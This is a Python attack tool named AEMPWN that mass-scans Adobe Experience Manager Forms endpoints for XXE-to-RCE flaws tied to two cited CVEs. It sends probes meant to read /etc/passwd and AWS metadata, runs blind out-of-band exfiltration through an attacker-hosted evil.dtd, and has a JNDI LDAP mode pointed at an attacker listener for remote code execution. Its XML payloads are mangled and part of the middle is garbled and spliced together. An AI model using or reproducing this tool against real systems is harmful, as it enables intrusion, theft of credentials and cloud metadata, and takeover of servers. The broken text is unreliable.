#!/usr/bin/env python3
import argparse, requests, sys, re, time, hashlib
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init
init(autoreset=True)
requests.packages.urllib3.disable_warnings()
RED = Fore.RED
GREEN = Fore.GREEN
YELLOW = Fore.YELLOW
BOLD = Style.BRIGHT
RESET = Style.RESET_ALL
TIMEOUT = 10
DEFAULT_OUT = "aempwn-results.txt"
AEM_ENDPOINTS = [
"/content/forms/af/submit",
"/services/SubmitForm",
"/bin/receive",
"/lc/submit",
"/lc/content/submit",
]
SAFE_CANARY = "AEMPWN_" + hashlib.sha1(str(time.time()).encode()).hexdigest()[:10]
SAFE_CANARY_PAYLOAD = f"{SAFE_CANARY}"
XXE_PROBES = {
"linux_hostname": """
]>
&xxe;""",
"linux_passwd": """
]>
&xxe;""",
"windows_ini": """
]>
&xxe;""",
"aws_metadata": """
]>
&xxe;""",
}
def banner():
print(RED + r"""
█████╗ ███████╗███╗ ███╗██████╗ ██╗ ██╗███╗ ██╗
██╔══██╗██╔════╝████╗ ████║██╔══██╗██║ ██║████╗ ██║
███████║█████╗ ██╔████╔██║██████╔╝██║ █╗ ██║██╔██╗ ██║
██╔══██║██╔══╝ ██║╚██╔╝██║██╔═══╝ ██║███╗██║██║╚██╗██║
██║ ██║███████╗██║ ╚═╝ ██║██║ ╚███╔███╔╝██║ ╚████║
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝
by Dividesbyzer0
CVE-2025-54253 | CVE-2025-54254
Adobe Experience Manager Forms XXE → RCE Framework
""" + RESET)
def normalize(t):
return t.rstrip("/") if t.startswith("http") else "https://" + t.rstrip("/")
def post(url, body):
return requests.post(
url,
data=body,
headers={"Content-Type": "application/xml"},
timeout=TIMEOUT,
verify=False,
allow_redirects=False,
)
def looks_like_leak(text: str) -> bool:
if not text:
return False
t = text.strip()
# Too big = almost certainly framework error page
if len(t) > 200:
return False
low = t.lower()
# Generic structured response killers (not vendor-specific)
BLOCKERS = (
"
%remote; ]>
ok""")
except:
pass
if rce_ldap:
try:
post(url, f"""
%remote; ]>
ok""")
except:
pass
if not surface and score == 0:
if verbose:
print(f"{GREEN}[-] {base} no signals{RESET}")
return False, base, []
if oob_url:
hits.append(f"OOB XXE payload sent → {oob_url}/evil.dtd (check listener)")
score += 2
if rce_ldap:
hits.append(f"JNDI RCE payload sent → {rce_ldap} (check LDAP listener)")
score += 5
print(f"{BOLD}{RED}[+] {base} VULNERABLE score={score}{RESET}")
for h in hits:
print(f"{RED} {h}{RESET}")
return True, base, hits
def scan_file(path, threads, oob_url, rce_ldap, verbose, out):
with open(path) as f:
targets = [l.strip() for l in f if l.strip()]
print(f"[*] Loaded {len(targets)} targets | threads={threads}\n")
with ThreadPoolExecutor(max_workers=threads) as ex:
futures = [ex.submit(scan_target, t, oob_url, rce_ldap, verbose) for t in targets]
for fut in as_completed(futures):
ok, base, hits = fut.result()
if ok:
write_hit(out, base, hits)
def main():
banner()
parser = argparse.ArgumentParser(
description="AEMPWN - AEM Forms XXE → RCE scanner for CVE-2025-54253 & CVE-2025-54254",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
Single target safe detection:
python aempwn.py -u https://target.com
Mass scan with threading:
python aempwn.py -f hosts.txt -t 20
Blind XXE exfil:
python aempwn.py -f hosts.txt --oob http://abc.oastify.com
RCE escalation (JNDI):
python aempwn.py -u target.com --rce ldap://1.2.3.4:1389/#Exploit
Notes:
--oob requires hosting evil.dtd
--rce requires LDAP listener (marshalsec, etc)
"""
)
parser.add_argument("-u", "--url", help="Single target (domain or full URL)")
parser.add_argument("-f", "--file", help="File with targets (one per line)")
parser.add_argument("-t", "--threads", type=int, default=10, help="Thread count (default 10)")
parser.add_argument("--oob", type=str, help="OOB XXE mode — base URL hosting evil.dtd (ex: http://your.oastify.com)")
parser.add_argument("--rce", type=str, help="RCE JNDI mode — LDAP URL (ex: ldap://server:1389/#Exploit)")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
parser.add_argument("-o", "--out", default=DEFAULT_OUT, help=f"Output file (default: {DEFAULT_OUT})")
args = parser.parse_args()
if args.oob and args.rce:
print(f"{RED}[-] Use either --oob or --rce, not both{RESET}")
sys.exit(1)
oob_url = args.oob
rce_ldap = args.rce
if args.oob and not oob_url:
print(f"{RED}[-] --oob requires a URL{RESET}")
sys.exit(1)
if args.rce and not rce_ldap:
print(f"{RED}[-] --rce requires an LDAP URL{RESET}")
sys.exit(1)
if args.url:
ok, base, hits = scan_target(args.url, oob_url, rce_ldap, args.verbose)
if ok:
write_hit(args.out, base, hits)
return
if args.file:
scan_file(args.file, args.threads, oob_url, rce_ldap, args.verbose, args.out)
return
parser.print_help()
if __name__ == "__main__":
main()